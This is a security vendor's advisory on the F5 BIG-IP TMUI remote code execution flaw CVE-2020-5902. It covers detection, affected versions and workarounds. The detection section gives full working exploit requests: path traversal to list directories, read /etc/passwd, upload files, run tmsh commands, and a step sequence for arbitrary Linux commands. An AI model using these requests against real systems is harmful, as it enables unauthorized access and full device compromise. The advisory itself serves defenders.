CYSIV
A FORESCOUT COMPANY

Threat Report

CVE-2020-5902
BIG-IP RCE Vulnerability

CRITICAL

July 2, 2020

CVE	Classification	CVSSv3 Score
CVE-2020-5902	RCE vulnerability	10.0 CRITICAL

Table of Contents

1 OVERVIEW

CVE-2020-5902 was disclosed on June 30, 2020 by F5 Networks in K52145254. The vulnerability is classified as a Remote Code Execution Vulnerability and has a CVSSv3 score of **10.0 – CRITICAL**.

The vulnerability can be exploited by unauthenticated attackers or authenticated users, with network access to the Traffic Management User Interface (TMUI), through BIG-IP management port or self IPs, to:

- Execute arbitrary system commands
- Create or delete files
- Disable services
- Execute arbitrary Java code

This vulnerability may result in complete system compromise. The BIG-IP system in appliance mode is also vulnerable. This issue is not exposed on the data plane; only the control plane is affected.

The affected BIG-IP versions include 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1.

2 DETECTION

Attempts to exploit CVE-2020-5902 can be easily detected by the accessed Uniform Resource Identifier (URI), with the following pattern:

```
/tmui/login.jsp/..;/<Path to a page>
```

The existence of this URI pattern in web access logs is a good indicator that the BIG-IP system has been attacked and a more throughout investigation should be carried out.

The rest of this section will list different ways to exploit the vulnerability. Note that all the exploits mentioned in this section share the same URI patten as described above.

2.1 List File

The URI pattern that can be used to list file in a directory in the system is this:

```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=<Directory Path>
```

Example HTTP request:

```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=65ACC6C79B31335D71E4F432DB39EA50
Connection: close
Upgrade-Insecure-Requests: 1
```

2.2 Read File

The URI pattern that can be used to read a file in the system is this:

```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=<file path>
```

Example HTTP request:

```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

2.3 Upload File

The URI pattern that can be used to upload a file onto the system is this:

```
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp
```

Example HTTP request:

```
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

fileName=/tmp/1.txt&content=CVE-2020-5902
```

2.4 Remote Code Execution (RCE)

The URI pattern that can be used to execute a system command is this:

```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=<Command>
```

Example HTTP request:

```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

Attackers can also execute any Linux command by following the steps listed below:

```
1. tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
2. fileSave.jsp?fileName=/tmp/cmd&content=id
3. tmshCmd.jsp?command=list+/tmp/cmd
4. tmshCmd.jsp?command=delete+cli+alias+private+list
```

3 MITIGATION

3.1 Vulnerable Products and Fixes

Product	Branch	Versions known to be vulnerable	Fixes introduced in	Severity	CVSSv3 score[1]	Vulnerable component or feature
BIG-IP (LTM, AAM, AFM, Analytics, APM, ASM, DNS, FPS, GTM, Link Controller, PEM)	15.x	15.1.0	15.1.0.4	Critical	10.0	TMUI/Configuration utility
		15.0.0	None			
	14.x	14.1.0 - 14.1.2	14.1.2.6			
	13.x	13.1.0 - 13.1.3	13.1.3.4			
	12.x	12.1.0 - 12.1.5	12.1.5.2			
	11.x	11.6.1 - 11.6.5	11.6.5.2			

3.2 Workaround

F5 recommends upgrading to a fixed software version to fully mitigate this vulnerability. If it is not possible to upgrade at this time, administrators can apply the following workarounds:

- All network interfaces
  - Add a **LocationMatch** configuration element to **httpd**. This setting will eliminate the ability for unauthenticated attackers to exploit this vulnerability.
- Self IPs
  - Block all access to the TMUI of your BIG-IP system via Self IPs.
- Management interface
  - Only permit management access to F5 products over a secure network.

Please check out the detailed instructions on how to apply the workarounds at https://support.f5.com/csp/article/K52145254

4 REFERENCES

https://support.f5.com/csp/article/K52145254
https://nvd.nist.gov/vuln/detail/CVE-2020-5902
https://github.com/jas502n/CVE-2020-5902

Cysiv Inc.
225 E. John Carpenter Freeway, Suite 1500, Irving, Texas, USA, 75062
www.cysiv.com sales@cysiv.com